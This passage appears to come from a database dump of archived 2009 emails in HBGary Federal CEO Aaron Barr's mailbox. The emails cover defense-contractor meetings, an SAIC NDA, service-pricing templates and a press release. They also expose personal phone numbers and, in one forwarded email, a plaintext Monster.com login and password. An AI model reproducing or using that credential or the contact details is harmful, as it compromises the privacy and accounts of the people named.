wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n \r\n\r\nBill\r\nLuti has asked me to contact you to scheduled a meeting over coffee. \r\nPlease let me know your availability the week of December 7th. \r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\nthanks for the update and I’m delighted you landed well. Yes, let’s get\r\ntogether for coffee soon to catch up. I’ll have Kathy Zavala set something up\r\nthis week (I’m in LA but back Thursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse.  Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat.  My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability.  I believe marrying HBGary&#39;s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution.  HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena.  Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations.  Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9931,'aaron_hbgary_com/9931.html'),(281,'2009-12-02','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','/aaron@hbgary.com/new/1296999737.M133687P3547Q281.eml','aaron@hbgary.com,\"Huffman, April A.\" <APRIL.A.HUFFMAN@saic.com>,aaron@hbgary.com,\"Huffman, April A.\" <APRIL.A.HUFFMAN@saic.com>','Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that\r\nyou have left the company I assume this makes their position even worse?&nbsp; I\r\nam the lead division for SAIC (also own digital echo) and have been &#8216;capturing&#8217;\r\nit for some time.&nbsp; We do in fact intend to prime and have begun our\r\nproposal preparation.&nbsp; I would welcome the opportunity to speak with you\r\nas soon as possible.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI look forward to meeting you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7707,'aaron_hbgary_com/7707.html'),(282,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999737.M446013P3547Q282.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Possible Opportunity','From my iPhoneBegin forwarded message:From: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nDate: December 2, 2009 1:02:48 PM ESTTo: &lt;aaron@hbgary.com&gt;, &quot;Huffman, April A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\nCc: &quot;Bruni, Michael J.&quot; &lt;MICHAEL.J.BRUNI@saic.com&gt;, &quot;Howsare, Stephanie A.&quot; &lt;STEPHANIE.A.HOWSARE@saic.com&gt;\r\nSubject: Possible Opportunity\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n \r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.  Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.  Given the fact that\r\nyou have left the company I assume this makes their position even worse?  I\r\nam the lead division for SAIC (also own digital echo) and have been ‘capturing’\r\nit for some time.  We do in fact intend to prime and have begun our\r\nproposal preparation.  I would welcome the opportunity to speak with you\r\nas soon as possible.   \r\n\r\n \r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.  I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.  \r\n\r\n \r\n\r\nI look forward to meeting you,\r\n\r\n \r\n\r\n \r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7575,'aaron_hbgary_com/7575.html'),(283,'2009-12-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1296999737.M679969P3547Q283.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,,','Re: Retainer for Services doc/template','Do we have a description of services and pricing (Federal and Commercial)?\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nService \r\n\r\n\r\nSame Day   \r\n\r\n\r\n24 Hour  \r\n\r\n\r\n3 Day  \r\n\r\n\r\n\r\nOn-site IR clean up labor level 1\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\nOn-Site IR clean up labor level 2\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\nOff-site Malware Analysis labor xx hours etc\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNumber of Nodes\r\n\r\n\r\nCost Per Node – 2 week dissolvable agent\r\n\r\n\r\nCost Per Node – 6 week dissolvable agent\r\n\r\n\r\n\r\nLess than 5,000\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n5000-24,999\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\nEtc.\r\n\r\n\r\n \r\n\r\n\r\n \r\n \r\nOn Wed, Dec 2, 2009 at 9:51 AM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHere is what I have for consulting agreements .  The Pro Services agreement\r\n \r\n\r\n\r\nFrom: Rich Cummings [mailto:rich@hbgary.com] Sent: Wednesday, December 02, 2009 9:32 AM\r\nTo: &#39;Penny Hoglund&#39;; ted@hbgary.com; aaron@hbgary.comCc: &#39;Maria Lucas&#39;Subject: Retainer for Services doc/template\r\n\r\n\r\n\r\n\r\n \r\nAll,\r\n \r\nDo any of you have a template or example of a services agreement for customers who would like to purchase HBGary services on retainer?  An example is etrade, they want to have HBGary services on retainer so that *if/when* they have a network intrusion or malware analysis requirement they can pick up the bat-phone and we’ll provide the specified level of support that is agreed upon. \r\n\r\n \r\nWe’ve been getting lots of interest in this area and the sales people should have something to provide prospective customers. \r\n \r\nThanks,Rich\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',13867,'aaron_hbgary_com/13867.html'),(284,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999737.M886871P3547Q284.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Hi Amanda,Your assesment is correct, their position is not as good as it once was and has been made worse by the departure of Ted Vera and myself.\r\nI look forward to our discussion.Aaron BarrCEOHBGary Federal Inc.301.652.8885 x117719.510.8478From my iPhone\r\nOn Dec 2, 2009, at 1:02 PM, &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt; wrote:\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n \r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.  Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.  Given the fact that\r\nyou have left the company I assume this makes their position even worse?  I\r\nam the lead division for SAIC (also own digital echo) and have been ‘capturing’\r\nit for some time.  We do in fact intend to prime and have begun our\r\nproposal preparation.  I would welcome the opportunity to speak with you\r\nas soon as possible.   \r\n\r\n \r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.  I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.  \r\n\r\n \r\n\r\nI look forward to meeting you,\r\n\r\n \r\n\r\n \r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',356,'aaron_hbgary_com/356.html'),(285,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999738.M304092P3547Q286.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Can you meet early on the 11th of Dec near Fairlakes?','Dude,What&#39;s going on.From my iPhoneBegin forwarded message:From: Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt;\r\nDate: December 2, 2009 1:58:54 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Can you meet early on the 11th of Dec near Fairlakes?\r\nAaron,\r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles?\r\nMike\r\n',9285,'aaron_hbgary_com/9285.html'),(286,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999738.M514069P3547Q287.eml','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','Re: Can you meet early on the 11th of Dec near Fairlakes?','Sure.  Can we do it early in fairlakes, say 8am?  I have to get to the capital area for a meeting at 1115.AaronFrom my iPhoneOn Dec 2, 2009, at 1:58 PM, Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt; wrote:\r\nAaron,\r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles?\r\nMike\r\n',9610,'aaron_hbgary_com/9610.html'),(287,'2009-12-02','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','/aaron@hbgary.com/new/1296999738.M69755P3547Q285.eml','\"Aaron Barr\" <aaron@hbgary.com>','Can you meet early on the 11th of Dec near Fairlakes?','Aaron,\r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles?\r\nMike',15469,'aaron_hbgary_com/15469.html'),(288,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999738.M698797P3547Q288.eml','\"Ted Vera\" <ted@hbgary.com>','Need to look at iarpa','BAAs\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',9032,'aaron_hbgary_com/9032.html'),(289,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999738.M898108P3547Q289.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: GD conference call','U want to go?  I&#39;ll sacrifice for u. :)AaronFrom my iPhoneBegin forwarded message:From: &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: December 2, 2009 9:06:04 AM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: GD conference call\r\n\r\n\r\n\r\n\r\nThe class is for 20 people (we have two monitors per station) \r\nWith you, it’s 20 students.  If you want to just use a lap top and allow the\r\nCTO to attend, that is fine, just let me know\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 4:04 PM\r\nTo: Penny Hoglund\r\nSubject: Re: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance I can get the cto from NG xetron into the\r\ntraining class next week?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron  \r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 4:18 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that week, if yes I can take\r\nthem on site.  I’d also like to set up a meeting with Kirsten and Ryan\r\nOrth\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: &#39;Barr Aaron&#39;; &#39;Ted Vera&#39;\r\nCc: &#39;Penny C. Hoglund&#39;\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron\r\nand Ted,\r\n\r\n \r\n\r\nI\r\njust got off the phone with Ben Wilson of GD-AIS.  He is our main champion\r\nthere.  I scheduled a conference call for 1pm ET Monday, December 14 where\r\nyou guys can begin dialogue.  Does this date work for you?  Let me\r\nknow and I can send out an invitation with call-in instructions.  \r\n\r\n \r\n\r\nBen\r\nsaid he would invite Bill Thompson and Mark Green onto the call.  He also\r\nexpressed a desire to invite you to their Santa Clara location to see their\r\nset-up.\r\n\r\n \r\n\r\nBob\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8599,'aaron_hbgary_com/8599.html'),(290,'2009-12-02','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999739.M90890P3547Q290.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Mantech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSee below as to where they are using Responder\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, December 02, 2009 12:43 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Mantech\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJamie Dillon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nthey have Responder at DOJ and\r\nFDIC\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Dec 2, 2009 at 12:32 PM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nat Mantech are we dealing with?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6492,'aaron_hbgary_com/6492.html'),(291,'2009-12-02','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999743.M530354P3547Q291.eml','ted@hbgary.com,aaron@hbgary.com','DRAFT Press release announcing HBGary Federal','\r\nHi Ted and Aaron, Attached is the first draft of our release announcing HBGary Federal. I have also attached your headshots so you can see how I cropped them.\r\n&nbsp;\r\nPlease review and&nbsp;press release and provide your feedback by tomorrow, Thursday, EOD&nbsp;if possible. As I mentioned to Ted, once I have your feedback, I will provide revised draft to Penny and Greg for final review.\r\n&nbsp;\r\nI do need to verify correct legal term for HBGary i.e subsidiary, etc. with Penny.&nbsp;Ideally, I would like to keep the release the same length or shorter if possible.&nbsp; Best, Karen\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n&nbsp;\r\n\r\n\r\n\r\n',11050,'aaron_hbgary_com/11050.html'),(292,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999743.M827763P3547Q292.eml','\"Bob Slapnik\" <bob@hbgary.com>','Office in tysons','Bob,\r\n\r\nWhat is the office in tysons and how do I use it for a meeting?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',3595,'aaron_hbgary_com/3595.html'),(293,'2009-12-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999744.M248013P3547Q294.eml','aaron@hbgary.com','Re: Fwd: GD conference call','\r\nNeed to check ny schedule.  Have my daughter so would have to do some switching.  Tonight or tomorrow.  Ok?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Dec 02 14:42:14 2009Subject: Fwd: GD conference call\r\nU want to go?  I&#39;ll sacrifice for u. :)AaronFrom my iPhoneBegin forwarded message:From: &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: December 2, 2009 9:06:04 AM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: GD conference call\r\n\r\n\r\n\r\n\r\nThe class is for 20 people (we have two monitors per station) \r\nWith you, it’s 20 students.  If you want to just use a lap top and allow the\r\nCTO to attend, that is fine, just let me know\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 4:04 PM\r\nTo: Penny Hoglund\r\nSubject: Re: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance I can get the cto from NG xetron into the\r\ntraining class next week?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron  \r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 4:18 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that week, if yes I can take\r\nthem on site.  I’d also like to set up a meeting with Kirsten and Ryan\r\nOrth\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: &#39;Barr Aaron&#39;; &#39;Ted Vera&#39;\r\nCc: &#39;Penny C. Hoglund&#39;\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron\r\nand Ted,\r\n\r\n \r\n\r\nI\r\njust got off the phone with Ben Wilson of GD-AIS.  He is our main champion\r\nthere.  I scheduled a conference call for 1pm ET Monday, December 14 where\r\nyou guys can begin dialogue.  Does this date work for you?  Let me\r\nknow and I can send out an invitation with call-in instructions.  \r\n\r\n \r\n\r\nBen\r\nsaid he would invite Bill Thompson and Mark Green onto the call.  He also\r\nexpressed a desire to invite you to their Santa Clara location to see their\r\nset-up.\r\n\r\n \r\n\r\nBob\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16416,'aaron_hbgary_com/16416.html'),(294,'2009-12-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999744.M73869P3547Q293.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Office in tysons','Go to www.hq.com\r\nFind offices in VA\r\nCall 800-956-9543 to reserve.\r\nTell them you are with HBGary\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 3:51 PM\r\nTo: Bob Slapnik\r\nSubject: Office in tysons\r\n\r\nBob,\r\n\r\nWhat is the office in tysons and how do I use it for a meeting?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n',13625,'aaron_hbgary_com/13625.html'),(295,'2009-12-02','\"Huffman, April A.\" <APRIL.A.HUFFMAN@saic.com>','/aaron@hbgary.com/new/1296999744.M850385P3547Q295.eml','aaron@hbgary.com,aaron@hbgary.com','NDA for COIN','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nEnclosed is a Non-Disclosure Agreement for the COIN effort.\r\n\r\n&nbsp;\r\n\r\nPlease contact me if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nApril \r\n\r\n&nbsp;\r\n\r\nApril Huffman\r\n\r\nSubcontracts Manager\r\n\r\nScience Applications International Corporation\r\n\r\n11251\r\n    Roger Bacon Drive, M/S\r\nR4-1\r\n\r\nReston,\r\n VA 20190\r\n\r\nPh: 703-318-4732\r\n\r\nFx:&nbsp;703-810-8995\r\n\r\nEmail: Huffmana@saic.com\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7247,'aaron_hbgary_com/7247.html'),(296,'2009-12-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999745.M486397P3547Q297.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Monster.com','Got the monster acct info.---------- Forwarded message ----------From: Penny Hoglund &lt;penny@hbgary.com&gt;\r\nDate: Wed, Dec 2, 2009 at 11:24 AMSubject: RE: Monster.comTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\npenny@hbgary.com\r\n\r\n3941park\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, November 30, 2009 2:04 PM\r\nTo: Penny Leavy\r\nCc: Barr Aaron\r\nSubject: Monster.com\r\n\r\n\r\n\r\n \r\n\r\nCan we get set up with Monster.com accounts?  We&#39;d like\r\nto start opening some contingent reqs soon.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',7528,'aaron_hbgary_com/7528.html'),(297,'2009-12-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999745.M808032P3547Q298.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Possible Opportunity','FYI --Sounds like we&#39;ll be signing an NDA soon with SAIC to discuss the Romas recompete.Ted---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, Dec 2, 2009 at 11:05 AMSubject: Fwd: Possible OpportunityTo: Ted Vera &lt;ted@hbgary.com&gt;From my iPhone\r\nBegin forwarded message:From: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nDate: December 2, 2009 1:02:48 PM ESTTo: &lt;aaron@hbgary.com&gt;, &quot;Huffman, April A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\n\r\nCc: &quot;Bruni, Michael J.&quot; &lt;MICHAEL.J.BRUNI@saic.com&gt;, &quot;Howsare, Stephanie A.&quot; &lt;STEPHANIE.A.HOWSARE@saic.com&gt;\r\n\r\nSubject: Possible Opportunity\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n \r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.  Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.  Given the fact that\r\nyou have left the company I assume this makes their position even worse?  I\r\nam the lead division for SAIC (also own digital echo) and have been ‘capturing’\r\nit for some time.  We do in fact intend to prime and have begun our\r\nproposal preparation.  I would welcome the opportunity to speak with you\r\nas soon as possible.   \r\n\r\n \r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.  I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.  \r\n\r\n \r\n\r\nI look forward to meeting you,\r\n\r\n \r\n\r\n \r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14808,'aaron_hbgary_com/14808.html'),(298,'2009-12-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999745.M96177P3547Q296.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Need to look at iarpa','Have been.  I sent some to you before we accepted the offer.  Are there new ones?On Wed, Dec 2, 2009 at 12:08 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBAAs\r\n\r\nAaron\r\n\r\n From my iPhone\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',12654,'aaron_hbgary_com/12654.html'),(299,'2009-12-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999746.M323165P3547Q300.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: DRAFT Press release announcing HBGary Federal','Hi Karen,At a glance it looks great.  I&#39;m saving it in Google Docs so Aaron and I can review / collaborate on it tonight / tomorrow.  I&#39;ll send you a link to the shared doc.  Let&#39;s touch base tomorrow afternoon.\r\nThanks for your help!TedOn Wed, Dec 2, 2009 at 1:49 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\nHi Ted and Aaron, Attached is the first draft of our release announcing HBGary Federal. I have also attached your headshots so you can see how I cropped them.\r\n \r\nPlease review and press release and provide your feedback by tomorrow, Thursday, EOD if possible. As I mentioned to Ted, once I have your feedback, I will provide revised draft to Penny and Greg for final review.\r\n\r\n \r\nI do need to verify correct legal term for HBGary i.e subsidiary, etc. with Penny. Ideally, I would like to keep the release the same length or shorter if possible.  Best, Karen\r\n \r\nKaren Burke\r\n650-814-3764\r\n \r\n\r\n\r\n\r\n      -- Ted H. VeraPresident | COOHBGary Federal, 